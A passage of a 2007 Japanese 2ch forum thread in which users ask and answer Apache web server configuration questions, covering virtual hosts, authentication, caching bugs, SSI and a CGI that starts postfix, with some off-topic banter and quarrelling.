381DNS未登録さん:2007/03/13(火) 06:21:32 ID:???
IPv6対応としてビルドされるんだっけ?
382DNS未登録さん:2007/03/14(水) 10:27:34 ID:???
proxy部分のソースみてみるのがいいかもね
383DNS未登録さん:2007/03/16(金) 23:36:53 ID:???
亀レスにスマソというわけで、とりあえず「ProxyPreserveHost On」を設定して
強引にHost名を変えさせないことにしました。だめぽ。

>>380
Firefox2.0ではホスト名扱いされてしまいました。

>>381
Windows版は公式サイトのはIPv6対応してませんでしたが、
ttp://win6.jp/Apache2/index-j.html
にIPv6対応版がありました。
あと、Linux向けのはIPv6対応してるみたいです。

>>382
時間があるときに見てみることにします。
384DNS未登録さん:2007/04/14(土) 21:05:22 ID:???
保守
385DNS未登録さん:2007/04/26(木) 19:20:17 ID:???
                         |/
                     _____ ―
.                    . `ヽ  ,」_ァ'"´
.                 . f'て}. ̄ rY  ト、 __<見えた!
<ウォーク!.        . | r个 √`>‐.k } f゙)ヾ> 
  ___            . }l r ''"`ァ'゙  ,ノ、ム'^'ァ'゙ 
__fT___゙、           .人.ヒ,ィ゙ ァ弌__,,>'´゙ヽ 
 (゙ヽ・ ヽ・)           い,  `'<,   ,r'^  ,ノ
  |  「王l#)≡≡   . }⌒'‐\ ,、    ゙'くョr.''"´
 / ..|,王|         い弌-、  \   }. ゝ-、
(_/ ヽ__) .     ..  `'ー'  ゙'ー‐--‐'⌒''''''゙

よんたまキタ━━━━(゚∀゚)━━━━ !!!!!  1乙
386DNS未登録さん:2007/05/03(木) 22:25:37 ID:e5elLPMv
apache2.2.4でDBD使ってます。VirtualHostがいくつかあって、それぞれに
DBDriver pgsql
DBDParams "dbname=authdb user=nobody host=127.0.0.1"
DBDMin 1
DBDKeep 1
DBDMax 1
DBDExptime 30
 <Location /control>
  AuthType Basic
  AuthName "Please Enter Your ID and Password."
  AuthBasicProvider dbd
  Require valid-user
  AuthDBDUserPWQuery "select passwd from login_tbl where domain = %s"
 </Location>
などと書いてあるんですが、psで見ると
postgres: nobody authdb 127.0.0.1(49473) idle
postgres: nobody authdb 127.0.0.1(49474) idle
postgres: nobody authdb 127.0.0.1(49475) idle

っていうふうにpostgresへの接続がどんどん増えていってなかなか減らないんですが、どうしたら増えないように出来ますか?
387DNS未登録さん:2007/06/01(金) 16:07:10 ID:X+rZknzU
どうしようもないようなのでmod_auth_pgsqlにしようと思うんだけどソースどこだ・・・
388DNS未登録さん:2007/06/01(金) 16:24:19 ID:???
internet archiveで見つかりました
一人漫才スマゾ
389DNS未登録さん:2007/06/05(火) 20:43:13 ID:JiFnOBCj
http://news.netcraft.com/archives/web_server_survey.html
久々にNetcraftのWeb Server Survey 見てみたら、
Apacheのシェア急落で、Microsoft (IISのこと?)のシェア急増してる。
なんで??
390質問:2007/06/05(火) 22:09:36 ID:GrZ0NbLi
いままで普通にアクセスできていたapacheサーバ(OS:red hat)ですが、急に表示されなくなりました。

現在の状態ですが、
・telnetでログインができ、perlなどの設定はできる。
・httpd restart をして「成功」と表示されるがだめ。
・PCからapacheサーバ、逆にapacheサーバからPCへのPingはできる。
・topコマンドでみても特にCPU,メモリを消費しているプロセスはない。
・ネットスケープには、「○○に接続しました。応答を待っています。」とステータスバーにでている。
・netstatをPC,apacheサーバでみるとお互いにtelnet,httpで接続していることはわかった。
ということです。

reboot以外で何かいい解決策があれば教えてください。
391DNS未登録さん:2007/06/05(火) 22:31:56 ID:???
>>389
ASP使いたがるソフト屋が結構多いんだよね
392DNS未登録さん:2007/06/05(火) 23:21:35 ID:BscjF5L/
Apache@Win使ってると、ログの圧縮はどうするの?
393DNS未登録さん:2007/06/05(火) 23:31:38 ID:JiFnOBCj
>>391
ASPのいいところがぜんぜんわからない。
IISのいいところがぜんぜんわからない。
でもGUIしか使えない、内部サーバー管理者はApacheの設定とかできないだろうな。

394DNS未登録さん:2007/06/05(火) 23:35:38 ID:???
Apacheの設定の方が楽なんだよな・・
GUIは実際にはいじらない上司ウケはいいけど
実働部隊にとっちゃ迷惑極まりない。
395DNS未登録さん:2007/06/26(火) 22:57:59 ID:???
mod_securityでPOST,GETのパラメータの内容を以下の設定で取得してます。

  SecFilterSelective REQUEST_METHOD "(GET|POST)" log,pass
SecAuditLog logs/modsec_audit.log

でもPOST,GETのパラメータ以外は必要ないので出ないようにしたいのですが、
どうしたらいいのですか?


396DNS未登録さん:2007/07/21(土) 14:50:45 ID:???
>>389
>Apacheのシェア急落で、Microsoft (IISのこと?)のシェア急増してる。
>なんで??

msよりgoogle?

ttp://journal.mycom.co.jp/news/2007/07/19/010/index.html
397DNS未登録さん:2007/07/23(月) 07:37:31 ID:???
なんか素の状態でアクセスしても30kbpsしか出ない(2,2,4 + XPpro)ローカルギガなのに。
帯域設定てどのconfファイルにあるのかな?
398DNS未登録さん:2007/07/23(月) 21:08:09 ID:A7vTEz1F
質問ですいません

ドキュメントルートにcgi-binフォルダを置いてるのですが
cgi-binフォルダの上位のhtmlにはアクセスできるのですが
cgi-binフォルダのhtmlにアクセスしようとするとForbiddenになってしまいます
httpd.confのどこかを設定すればよいとか以前に聞いたことがあるんですが
どうすればよいかお教えできませんでしょうか?
399398:2007/07/24(火) 05:10:14 ID:/xxqEGhg
すいません自己解決しました
400DNS未登録さん:2007/07/24(火) 05:52:46 ID:a2gEY8aR
すいません、質問なんですが
4GBのファイルをアップロードしたんですが、ブラウザでアクセスすると403エラーを返されます

権限、所有者などをチェックしたんですが解決できません
どうすればいいのでしょうか


apache2
Linux/debian
401403:2007/07/24(火) 05:53:17 ID:a2gEY8aR
8Mなどのファイルの場合は正常にダウンロードできます
402400:2007/07/24(火) 05:53:43 ID:a2gEY8aR
名前間違い...orz
403DNS未登録さん:2007/07/24(火) 10:20:48 ID:???
バージョンとか環境も書いてね
LimitRequestBody は0になってる?
404DNS未登録さん:2007/07/24(火) 17:41:14 ID:nubWO+MS
httpd.confの設定について質問させてください。

自分のサイト(aaa.com)からしか自分のサーバー(aaa.net)へアクセスできないようにする
にはどのように設定すればいいでしょうか?
405DNS未登録さん:2007/07/24(火) 17:45:41 ID:???
リファラーチェック
406DNS未登録さん:2007/07/24(火) 17:50:30 ID:???
「サイト」と「サーバ」を一体どう区別しているのか。
407DNS未登録さん:2007/07/25(水) 19:26:55 ID:???
tDiaryを使っています。
ツッコミスパム対策の一環で、Perlスクリプトによるブラックリストチェックを
組み込もうかと思っています。次のような感じです。

(1) index.plを置いて、まずこれにアクセスさせる
(2) チェックOKなら、index.rbに移る

しかし、index.rbに直接アクセスされるとなんの意味もありません。
そこで、index.rbへの直接アクセスは禁止して、スクリプトからの呼び出しのみOK
みたいなことはできるのでしょうか。.htaccessを使って

<Files "index.rb">
deny from all
</Files>

などとすると、Perlスクリプトからもアクセスできなくなります。
今はチェック後のPerlスクリプトからは、

print "Location:index.rb";
if ($ENV{'QUERY_STRING'} ne "") { print "?",$ENV{'QUERY_STRING'}; }
print "\n\n";

のように呼び出して(?)います。
408DNS未登録さん:2007/07/25(水) 20:33:40 ID:???
>>407
>のように呼び出して(?)います。

どこでこれを呼び出しと教わったんだ?
単にindex.rbへのリダイレクトじゃないか。
HTMLでmetaタグ使って飛ばしてるのと変わらないじゃないか。
お前に必要なのはリファラーチェックだ。
409DNS未登録さん:2007/07/25(水) 21:06:23 ID:???
何でそんな事をしたいのかよく分からんが、
実は Basic 認証で済むんじゃないか?
410DNS未登録さん:2007/07/26(木) 01:12:16 ID:???
apache1.3.26でサブドメインの設定がどうしてもうまくいきません。
NameVirtualHost xxx.xxx.xxx.xxx
<VirtualHost xxx.xxx.xxx.xxx>
ServerAdmin [email protected]
DocumentRoot /var/www/html
ServerName ns.hoge.jp
</VirtualHost>
<VirtualHost xxx.xxx.xxx.xxx>
DocumentRoot /var/www/sub
ServerName sub.hoge.jp
</VirtualHost>
xxx.xxx.xxx.xxxhが同じIPアドレスです。
上のほうは普通に/var/www/htmlに飛びますが、
下のsubのアドレスでアクセスしても、/var/www/htmlに飛ばされてしまいます。
ぐぐっても解決できませんでした。どなたかお願いします。
411DNS未登録さん:2007/07/26(木) 05:08:42 ID:???
NamebaseのVhostはIP指定しない事
する意味が無い
412410:2007/07/26(木) 05:50:30 ID:???
>>411
あっさり解決しました。
本当にありがとうございました。
413DNS未登録さん:2007/07/26(木) 06:13:11 ID:???
ネームベースのバーチャルホストだけが目的なら確かに意味が無いけど、
IPベースとネームベースを同時に使うこともできるから全く意味が
無い訳じゃないと補足してみる。
414407:2007/07/26(木) 12:35:29 ID:???
解決したが、ネットワーク関連の板/スレではたいてい感じの悪いレスもらうな。

>>409
> 何でそんな事をしたいのかよく分からんが、

ただアクセスを拒否するだけでなく、「あんたのところはブラックリスト扱い」という
メッセージを出すため。拒否するのはtDiaryだけなんで、納得いかなければ
別の方法で連絡してくるだろ。
415DNS未登録さん:2007/07/26(木) 12:48:13 ID:???
403のページにそう書けば良いじゃん。
416DNS未登録さん:2007/07/26(木) 13:15:44 ID:???
>>415
403のエラーは、スパム対策のためだけにあるのではない。
すべての要因を書いておくのも煩雑。
やはり相応のメッセージを出すべき。
417DNS未登録さん:2007/07/26(木) 13:46:34 ID:???
>たいてい感じの悪いレスもらうな
なんで自分に原因があると思わないんだろう。
気持ちいい回答をもらってるやつも大勢いる。
418DNS未登録さん:2007/07/26(木) 14:43:37 ID:???
で、解決方法を書いてない辺りが何とも。
419DNS未登録さん:2007/07/26(木) 14:57:03 ID:???
本人が「解決したが」って書いてるからだろ
420DNS未登録さん:2007/07/26(木) 14:57:50 ID:???
ってそっちの解決方法か
そういえば書いてないな、もう本人いないのか。
421407:2007/07/26(木) 15:24:39 ID:???
>>417
> なんで自分に原因があると思わないんだろう。

考えないこともはないが、もとの質問はそんなに問題あるか?
完璧ではないにしろ、やりたいこと、自分で試したことの要点は
書いたと思うが。ちゃんと流れ読んだのか?

>>418
> で、解決方法を書いてない辺りが何とも。

そう来ると思った。
ここで有用な情報を得たわけじゃないから教えてやる義理はない。
似たような悩みの人がいたら、気が向いたら教えるかもしれない。
422DNS未登録さん:2007/07/26(木) 15:29:32 ID:???
ほらほら、お前はどこ行ってもそうなんだろうな。
423DNS未登録さん:2007/07/26(木) 15:32:03 ID:???
情報は人に頼るくせに、見返りが無いと自分からは何も出したくないわけか。
もう質問スレには来るなよ。
424DNS未登録さん:2007/07/26(木) 15:39:25 ID:???
何だか香ばしい香りがするスレですね。
425DNS未登録さん:2007/07/26(木) 15:42:32 ID:???
実はスレ違いだという事に本人が気付いていない件。
426DNS未登録さん:2007/07/26(木) 15:53:10 ID:???
Apache 初心者質問スレッド Part16
http://pc11.2ch.net/test/read.cgi/mysv/1185363093/
427407:2007/07/26(木) 15:53:17 ID:???
回路合成中につき、少し余裕があるからもう少し遊んでやろ。

>>423
> 情報は人に頼るくせに、見返りが無いと自分からは何も出したくないわけか。

当たり前だろうが。
親身になって相談にのってくれた過程があれば、こうやって解決しましたー、って
書いたかもね。

しかし面白いほどの食いつきようだな、お前ら。
気に入らないなら放っておけばいいじゃん。
428DNS未登録さん:2007/07/26(木) 15:55:50 ID:DIjbRus4
質問スレじゃないとこでこんな低レベルな質問して
ちょっといやみっぽく言われて怒るとかw
429DNS未登録さん:2007/07/26(木) 16:18:44 ID:???
ま、とにかく本人に問題があるというのは、はたから見てもよくわかった。
430DNS未登録さん:2007/07/26(木) 16:34:47 ID:3rr+1bPz
WinでApache扱ってる人は、ログの圧縮はどうしてるの?
そうしないと、ドンドン容量を喰うだろう?
431DNS未登録さん:2007/07/27(金) 02:49:12 ID:???
ろぐろてと
432DNS未登録さん:2007/07/27(金) 04:00:17 ID:???
2.0はそれでいいけど、2.2は終了させないような運用をしないと
ゾンビが溜まるんだよな。
433DNS未登録さん:2007/07/27(金) 15:08:11 ID:???
スレ違いだったらごめんなさい

mrtg、snortsnarfなどのindex生成を定期的にやっていたのですが、昨日から生成されたindexにアクセスすると

snortsnarfの場合
XML パースエラー: 整形式になっていません。
URL: http://192.168.1.22/snortsnarf/
行番号: 7, 列番号: 11:<td width=130><A HREF="http://www.silicondefense.com/"><IMG BORDER=0 width=123 height=72 SRC="SDlogo.gif" ALT="[Silicon Defense logo]"></A></td>
----------^

mrtgの場合
XML パースエラー: 整形式になっていません。
URL: http://192.168.1.22/mrtg/index.html
行番号: 17, 列番号: 43:/* commandline was: /usr/bin/indexmaker --columns=1 "--addhead=<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=euc-jp">" /etc/mrtg.cfg */
------------------------------------------^

このようなエラーが出てアクセスできなくなりました、どうすればいいのでしょうか


Debian Linux 4.0
Apache/2.2.3

434DNS未登録さん:2007/07/27(金) 15:08:33 ID:???
ブラウザはFirefoxです
435DNS未登録さん:2007/07/27(金) 15:49:03 ID:LE4sqQbX
拡張子htmlに割り当ててるMIME-TYPEがapplication/xml+xhtmlになってるんじゃね
436433:2007/07/27(金) 16:03:00 ID:???
>>435
!!!
ありがとうございます

.htaccessで拡張子別に文字エンコーティング指定していたんですが、そのときにapplication/xml+xhtmlになっていたみたいです


ありがとうございました
437DNS未登録さん:2007/08/03(金) 12:51:55 ID:cC+6afXW
バーチャルホストで10ドメインくらい設定したらApacheが起動後、すぐに停止してしまいます。

何が原因なのでしょうか?

エラーログには「指定されたネットワークは・・」と出ています。

お教えください。
438DNS未登録さん:2007/08/03(金) 12:58:51 ID:???
エラーログを端折るなバカ
439437:2007/08/03(金) 13:06:13 ID:cC+6afXW
>>438
すみません

[warn] (os64)指定されたネットワーク名は利用できません:winnt-accept Asynchronous AcceptEx failed

です。よろしくお願いします
440437:2007/08/03(金) 13:11:18 ID:cC+6afXW
追加で

[error] VirtualHost *:80 -- mixing * ports and non -* ports with a NameVirtualHost address is not supported,
procceeding with undefined results

と言うエラーも出ます。
連投すみません。
441DNS未登録さん:2007/08/03(金) 13:12:46 ID:???
特定の1つなのか、10個入れたせいなのかは切り分けた?
ググったら
<IfModule mpm_winnt.c>にWin32DisableAcceptExを追加すると直った例があるようだが
442DNS未登録さん:2007/08/03(金) 13:14:08 ID:???
>>440
それはconfのミスだろ
NameVirtualHostにアドレス指定が混ざってるんじゃ
443437:2007/08/03(金) 13:18:57 ID:cC+6afXW
>>441
色々切り分けてみましたが、同じ結果になってしまいました。
Win32DisableAcceptEx試してみます。

>>442
confの記述かと思い、一度最初からやり直してみましたがやはりダメでした・・
444DNS未登録さん:2007/08/03(金) 13:29:32 ID:???
ここに晒せよ。
445DNS未登録さん:2007/08/03(金) 13:38:03 ID:dWV+MYZX
>>444 現在はこのような形で記述しています

<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot C:/home/hoge.hoge/public_html
ServerName hoge.hoge
ErrorLog logs/hoge.hoge-error_log
CustomLog logs/hoge.hoge-access_log common
DirectoryIndex index.htm index.html index.shtml index.php index.cgi
<Directory "C:/home/hoge.hoge/public_html">
AllowOverride None
Options ExecCGI Includes
Order Deny,Allow
Allow from all
</Directory>
ServerAlias www.hoge.hoge
</VirtualHost>

>>441 「指定された・・」のエラーが消えました!ありがとうございます
446437:2007/08/03(金) 13:38:40 ID:dWV+MYZX
あ、すみません。
回線の問題かと思い、プロバイダ変えました・・
447DNS未登録さん:2007/08/03(金) 13:39:46 ID:???
<VirtualHost *:80>
じゃなくて
<VirtualHost *>
でOK

うちでは
NameVirtualHost *
<VirtualHost *>
  ServerName 〜.jp
  ServerAdmin "info@〜"
  DocumentRoot /web/〜/www
以下略
448DNS未登録さん:2007/08/03(金) 13:49:06 ID:???
うちは
NameVirtualHost *:80
<VirtualHost *:80>


だなあ。
449DNS未登録さん:2007/08/03(金) 13:51:51 ID:???
Listen 指定してるんだから *:80 は無駄な表記だと思う
450DNS未登録さん:2007/08/03(金) 14:00:20 ID:???
NIC3個分以上ListenしててNameVirtualHostを1:2とかで分ける時には無駄じゃないと思う。
451DNS未登録さん:2007/08/03(金) 15:01:48 ID:???
串で別ポートも使ってるしなー
452DNS未登録さん:2007/08/03(金) 15:19:11 ID:???
centos4.5 apache2.2.4なんですが、mod_mem_cacheでメモリキャッシュ有効にしてありますが
これメモリリークしないですか?

メモリ256Mまでの指定なのに(MCacheSize 256000)ほっといたらメモリ使用量が2.8GBとかになって
サーバーダウンします。

だれかメモリキャッシュ使ってる人、メモリリークないですか?
453437:2007/08/03(金) 15:27:11 ID:dWV+MYZX
皆さんありがとうございます。
解決しました。

なぜ解決したのか分からないのですが、何度か再起動していたら戻っていたので
とりあえず良しとしました。

本当にありがとうございました。
454DNS未登録さん:2007/08/03(金) 15:33:58 ID:???
ズコー (AAry
455DNS未登録さん:2007/08/03(金) 15:50:02 ID:???
なんだそりゃw
456DNS未登録さん:2007/08/04(土) 23:55:57 ID:u6UaYP+a
>>452
メモリーリークに繋がるかどうかは知らないが
とりあえず2.2.4のmod_mem_cacheには致命的なバグがある

http://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/CHANGES
Changes with Apache 2.2.5
*) SECURITY: CVE-2007-1862 (cve.mitre.org)
mod_mem_cache: Copy headers into longer lived storage; header names and
values could previously point to cleaned up storage. PR 41551.
[Davi Arnaut <davi haxent.com.br>]

ちなみにメモリーリークのバグは2.2.4でなおされてるようだけど
Changes with Apache 2.2.4
*) mod_mem_cache: Memory leak fix: Unconditionally free the buffer.
[Davi Arnaut <davi haxent.com.br>]
457DNS未登録さん:2007/08/10(金) 17:24:54 ID:???
apache2をインスコして起動させようとしても起動してくれません。
エラーメッセージみたいな表示させる方法を教えてください。
OSはlinuxです
458DNS未登録さん:2007/08/10(金) 17:33:08 ID:???
エラーログ見れ
それか -d オプションを
459DNS未登録さん:2007/08/10(金) 17:51:36 ID:???
>>458
/etc/init.d/httpd -d
って事?
460DNS未登録さん:2007/08/10(金) 17:56:24 ID:???
init.dの方から直じゃなくて本体のほうで試そうぜ
461DNS未登録さん:2007/08/10(金) 23:54:57 ID:???
超久々にLinuxを使ってたのでうっかり忘れてたよ。。。THX


httpd --d
httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName

って表示されるな・・・

vi /etc/httpd/conf/httpd.conf
に ServerName って項目ないからそれが原因かと思い
ServerName hogehoge.com って追加して
/etc/init.d/httpd restart
httpd を停止中: [失敗]
httpd を起動中: [失敗]
/etc/init.d/httpd restart
httpd を停止中: [失敗]
httpd を起動中: [失敗]
/etc/init.d/httpd restart
httpd を停止中: [失敗]
httpd を起動中: [失敗]
ん〜どこが悪いんだろう??
462DNS未登録さん:2007/08/11(土) 02:34:41 ID:???
/etc/hosts
463DNS未登録さん:2007/08/11(土) 03:55:31 ID:VH4Y2nNu
httpd.confで↓の#をけしたのですが、SSIが正常に動きません。

AddType text/html .shtml
AddHandler server-parsed .shtm

<!--#exec cgi="***.cgi" -->
↑をshtmlのソースに入れたのですが、CGIが起動していないようです。
ほかにhttpd.confの設定は必要ですかね?
464DNS未登録さん:2007/08/11(土) 05:41:05 ID:???
465DNS未登録さん:2007/08/11(土) 09:24:54 ID:VH4Y2nNu
>>464
おお〜〜〜〜
ディレクトリの設定が間違ってましたw
ホントあり〜す
466DNS未登録さん:2007/08/13(月) 03:57:33 ID:???
すいません、apacheで同時接続数4000 メモリ使用量2Gとかになってたアクセスが(keepalive1秒で常時この接続状態)
IIS6.0だとmmc.exe(IIS6.0)のメモリ使用量20MB、CPU使用率2%で苦もなく提供できるようです。

てんで勝負になりませんでした。IIS恐ろしすぎです。
467DNS未登録さん:2007/08/13(月) 09:33:36 ID:???
IIS wwwww
468DNS未登録さん:2007/08/13(月) 11:09:09 ID:???
>IIS6.0だとmmc.exe(IIS6.0)のメモリ使用量20MB

mmc.exe は IIS ではございません。
469DNS未登録さん:2007/08/13(月) 11:20:54 ID:Zk0p1nuC
明日新バージョン来るから準備しとけよ
470DNS未登録さん:2007/08/13(月) 12:44:39 ID:???
初心者なんですが何の準備をしておけば大丈夫ですか?
471DNS未登録さん:2007/08/13(月) 14:14:05 ID:???
ディスクの空きとか
472DNS未登録さん:2007/08/14(火) 03:38:10 ID:DQeadnup
ログのローテート時、HUPを送りますが、
これすると具体的にはどうなりますか?

i)再起動せずに設定ファイルのみ読み直す
ii)再起動
iii)gracefulに再起動
473DNS未登録さん:2007/08/14(火) 07:19:47 ID:???
>>468
すいません、Apacheでメモリ消費2Gだったのが、IISのw3wp.exeだとメモリ7MBでした。
あんまりメモリ消費小さいので、なんでもないプロセスだと思ってました。

動ナビのトップページに置いてあるサムネイルの表示
毎時50万人が画像を閲覧

Apache 同時接続数4000 メモリ2000MB消費 (同時接続数はkeepalive1秒の即切りでこの数値(4000以下にできない状態))
IIS w3wp.exe メモリ7MB消費、CPU使用率1%〜2%
474DNS未登録さん:2007/08/14(火) 10:54:58 ID:???
IIS の本体は HTTP.SYS というカーネルモードドライバであって、
タスクマネージャやなんかでは見えません。
475DNS未登録さん:2007/08/14(火) 13:56:13 ID:???
>>474
メモリ消費はmrtgでグラフ化してるから増減分かるが、深夜のピーク時でも
まったく平行線のメモリ消費だから、同時接続数4000クラスのアクセスでもメモリ30MBも使ってないのは確か。
CPU消費もピーク時間帯でもまったく下に張り付いたCPU消費グラフだから2%程度。
476DNS未登録さん:2007/08/14(火) 17:35:18 ID:???
そりゃデフォルトページしかなくてアクセスもなかったらそんなもんだろうよ
477DNS未登録さん:2007/08/14(火) 18:56:08 ID:POeK70g0
インターネット板のほうに書き込んだのですが、
こちらのほうが適切かなと思いまして書き込みます。
LinuxにApacheを入れて、PHPやMySQLを動かしています。

PHPでスクリプトを書きアップしたところ、
それを実行して見ていると、たまにページ上部に
「mBBBBBBB WtUjuWj Is2BBBt BBe| 」
といった意味不明な文字列が出てきてしまいます。

これは何かのエラーでしょうか?
PHPのソースコードにはそれらの記述はなく、今まで問題なく動いていました。
解決法や、どうしてこうなってしまうのか
分かる方がいましたらぜひ教えてください。
よろしくお願いします。
478DNS未登録さん:2007/08/14(火) 18:57:51 ID:???
mBBBBBBBWtUjuWj Is2BBBtBBe|
479DNS未登録さん:2007/08/15(水) 09:54:22 ID:???
>>477
mBBBBBBB WtUjuWj Is2BBBt BBe|
480477:2007/08/15(水) 11:05:19 ID:???
>>477です。
どうやらサーバの不調などではなく、ルータの異常でした。
ルータを再起動してIPアドレスの更新をしたら直りました。
ルータのメモリになにかがあって上手く表示できなかったのかもしれません。
481DNS未登録さん:2007/08/15(水) 19:58:42 ID:???
ブラウザで表示がおかしかったらまずソースみて
wgetで取ってみたりlocalhostでとってみたり
ポート80から直接とってみたりして切り分けるといいよ
482DNS未登録さん:2007/08/16(木) 09:23:50 ID:???
redirect-carefully環境変数により
何をどういう風にやって注意深くリダイレクトするのか、
具体的な処理内容を知ってる人がいたら教えてください
483DNS未登録さん:2007/08/22(水) 04:07:32 ID:???
注意深くというかMicrosoftの一部のソフトが301エラーを解決してくれないから
それを回避するためだけの実装みたいよ

http://www.example.com/aaa にアクセスしようとすると
まずapacheはaaaってファイルを探して、
ファイルが見つからずaaaってディレクトリがあったら
お前の言ってるのはhttp://www.example.com/aaa/の間違いだよね?って
301エラーを返して来る
(それを受け取った普通のブラウザはhttp://www.example.com/aaa/に即アクセスする

ただ一部のソフトでは「エラーが出ました」で止まっちゃうから
それを回避するためにredirect-carefullyを使うっぽい

ここからは完全に想像でしかないんだけど一旦301噛ませずにいきなり
http://www.example.com/aaa/の内容返すんじゃないかなあ
多分処理としてはそれほど変な事やってないんじゃないかと思うので
スニファとか使って確かめてみればすぐ分かるんじゃないかと思う と無責任に思った
484DNS未登録さん:2007/08/22(水) 19:33:40 ID:VM3f/7Ay
>>477
どうやら、ウイルス関係だかわからんけど、
ARPキャッシュが書き換えられるっていう状態かもしれんね。

arp -a
ってそれぞれのPCでコマンド打ってみて、
大抵デフォルトゲートウェイのMACアドレスは合っているはずなんだけど
表示がおかしいPCに限って、MACアドレスがきちんとしたアドレスになっていない。

だから、一時的な対応は
arp -s 192.168.1.1 00-11-22-33-44-55-66
みたいに、ARPテーブルに静的に登録してやればOK

きちんと対応したいなら、ウイルス感染してないか、スキャンするこったかな。
485DNS未登録さん:2007/08/24(金) 15:11:55 ID:???
htdigestでパスワードを生成をやって認証が通らないから作り直し
こんな作業を数十回やって一度くらいしか認証が通らないのですけど
こういうものなのでしょうか
486DNS未登録さん:2007/08/24(金) 15:54:53 ID:???
>>485
んなわけない。
487DNS未登録さん:2007/08/24(金) 16:19:04 ID:???
テンキーのないキーボードでnumロック入ったままとかw
488DNS未登録さん:2007/08/25(土) 00:18:01 ID:???
>>485
それお祓いしたほうがいいよ
489DNS未登録さん:2007/08/25(土) 10:24:08 ID:???
た〜た〜り〜じゃ〜♪
490DNS未登録さん:2007/08/25(土) 19:45:41 ID:???
だめなやつはなにをやってもだめ。 みつを
491DNS未登録さん:2007/09/07(金) 09:58:05 ID:XLfa0lCw
Apache1.3.39/2.0.61/2.2.6 まもなくリリース
492DNS未登録さん:2007/09/07(金) 16:00:32 ID:???
で?
493DNS未登録さん:2007/09/07(金) 16:04:30 ID:???
でって言う
494DNS未登録さん:2007/09/10(月) 18:36:28 ID:???
わんわん
495DNS未登録さん:2007/09/17(月) 04:19:01 ID:???
2.2.6のWin32バイナリっていつになったら出てくるんだ?
なんかperl関係のバグで速攻消されたらしいけど、そうすると今あるソースは
何のために存在してるんだろ?
開発者自身がコンパイルしてもダメなものを、その辺の自称中級者が自分で
コンパイルしても悲惨な結果になるだけだろ。
496DNS未登録さん:2007/09/18(火) 10:20:52 ID:???
中級者ってなによ、、、
コンパイラがあれば初心者でもバイナリは作ることはできるべ。
問題はそこではなく
497DNS未登録さん:2007/09/18(火) 10:54:23 ID:???
自称中級者が本当に中級者である事は稀
498DNS未登録さん:2007/09/18(火) 12:25:40 ID:???
中級者の定義よろ。
499DNS未登録さん:2007/09/18(火) 13:28:16 ID:???
自分のしていること、しようとしていることをIT用語を正しく使って説明できるレベル
500DNS未登録さん:2007/09/18(火) 18:19:50 ID:???
中級者   : バーチャルホストを組んでみた事がある
自称中級者: バーチャルホストを買いに行った事がある
501DNS未登録さん:2007/09/18(火) 19:53:40 ID:???
俺って中級者だなと思った瞬間に自称中級者
502DNS未登録さん:2007/09/18(火) 20:37:59 ID:EQkr6Abe
中級者は外向けのWEBを運用し、利益を出している状態だろ
503DNS未登録さん:2007/09/18(火) 22:02:11 ID:???
上級者   : バーチャロンでめっちゃ対戦が強い
中級者   : バーチャルホストを組んでみた事がある
自称中級者: バーチャルホストを買いに行った事がある
504DNS未登録さん:2007/09/18(火) 22:05:15 ID:???
>>503
ワロタ
505DNS未登録さん:2007/09/19(水) 01:18:27 ID:???
昔、アキバで安かったから何台もxmodemを買ってしまって困った事を思い出した
506DNS未登録さん:2007/09/19(水) 15:46:01 ID:???
>505
まだ余っているなら

絶滅危惧種アナログモデム
http://pc11.2ch.net/test/read.cgi/hard/1173071508/

スレで放出してあげたら誰か喜ぶかも
507DNS末登録:2007/10/10(水) 18:08:05 ID:???
環境はfedora core 6。
cgi(webフォーム)を経由させてpostfix(メールソフトみたいなもの)を起動させたいのですが、なぜかできません。
端末でcgiを実行させたら起動したのですが、cgi経由では起動しません。web上で行うときに
httpd(apahce)の権限はどのようにすればいいのでしょうか? sudoを使えばいいとわかったので、httpd.confの中にあるUser:Apache,Group:Apache
をUser:tok,Group:tokにして、tokにsudoで権限を与えたのですがダメでした。 よろしくお願いします。
508DNS未登録さん:2007/10/10(水) 19:14:42 ID:???
いろいろ聞きたいことはあるが・・・

postfixはメールソフトというかメールサーバだよMTAだよ。
その点わかっている?
509DNS末登録:2007/10/10(水) 21:19:44 ID:???
>>508 ご指摘ありがとうございます。メールサーバーですね。
web上でコマンド実行できるのなら何でもいいと理解してもらえたらいいです・・・。
510DNS未登録さん:2007/10/10(水) 21:57:59 ID:???
sudo言っているけどそのコマンドとやらはroot権限が要るの?

(1)CGIの詳細(Perl?)
(2)動作させたいコマンド
(3)必要なユーザ権限
でも揚げてみれば。

#!/bin/sh
echo 'Content-type: text/plain'
echo
ls -l

みたいに書けばlsコマンドちゃんと動くぞ。
511DNS未登録さん:2007/10/10(水) 22:03:15 ID:???
sudo はほとんどが実行可能なはず
512DNS末登録:2007/10/10(水) 22:27:05 ID:???
>>510 root権限である必要あります。
ほんとにしょぼいのですが、以下がcgi文です。
(1)
cgi文
#!/usr/bin/perl
use CGI;
system("/etc/rc.d/init.d/postfix start &");
print "Content-type: text/html\n\n";
print "<html><body>\n";

print "起動!\n";

print "</body></html>\n";

一応html文です。
<html>
<head>
<title>kidoubotanpochittona</title>
</head>
<body>
<form action="sansan.cgi" method="post">
<input type="submit" value="起動!!">
</form>
</body>
</html>

(2)上のcgiでも書いてますが、/etc/rc.d/init.d/postfix です。

(3)出来ればグループで権限与えたいです。(groupは3〜8人くらい)

よろしくお願いします。
513DNS未登録さん:2007/10/10(水) 22:44:33 ID:???
エラーはなんて出たんだ?
CGI::Carp とかって最近は流行らないんだろうか。
514DNS未登録さん:2007/10/10(水) 23:30:58 ID:???
あープロセスを置き去りにしたい問題ね。

Perlなら ttp://cepheid.blog17.fc2.com/blog-entry-92.html みたいに
forkで置き去りにすればいい。
その際、STDOUTとSTDINとSTDERRをcloseするのを忘れずに。
そうしないとApacheが解放してくれない。
詳細はApache STDOUT forkとかでググってくれ
515DNS未登録さん:2007/10/14(日) 16:14:49 ID:KVWdBKrk
保守
516DNS未登録さん:2007/10/17(水) 10:50:31 ID:U4HuZ/7G
suEXEC&チルダ無しでホームディレクトリアクセスってどうやって実現するんでしょうか?
(CentOS5のRPMで入れたApache/2.2.3です)

とりあえず、
 AliasMatch ^/home/([^/]+)(.*) /home/$1/public_html/$2
 UserDir /home/*/public_html
と設定しています。

チルダ無しだけならAliasMatchで実現できてるんですけど、これだとユーザのホームディレクトリと
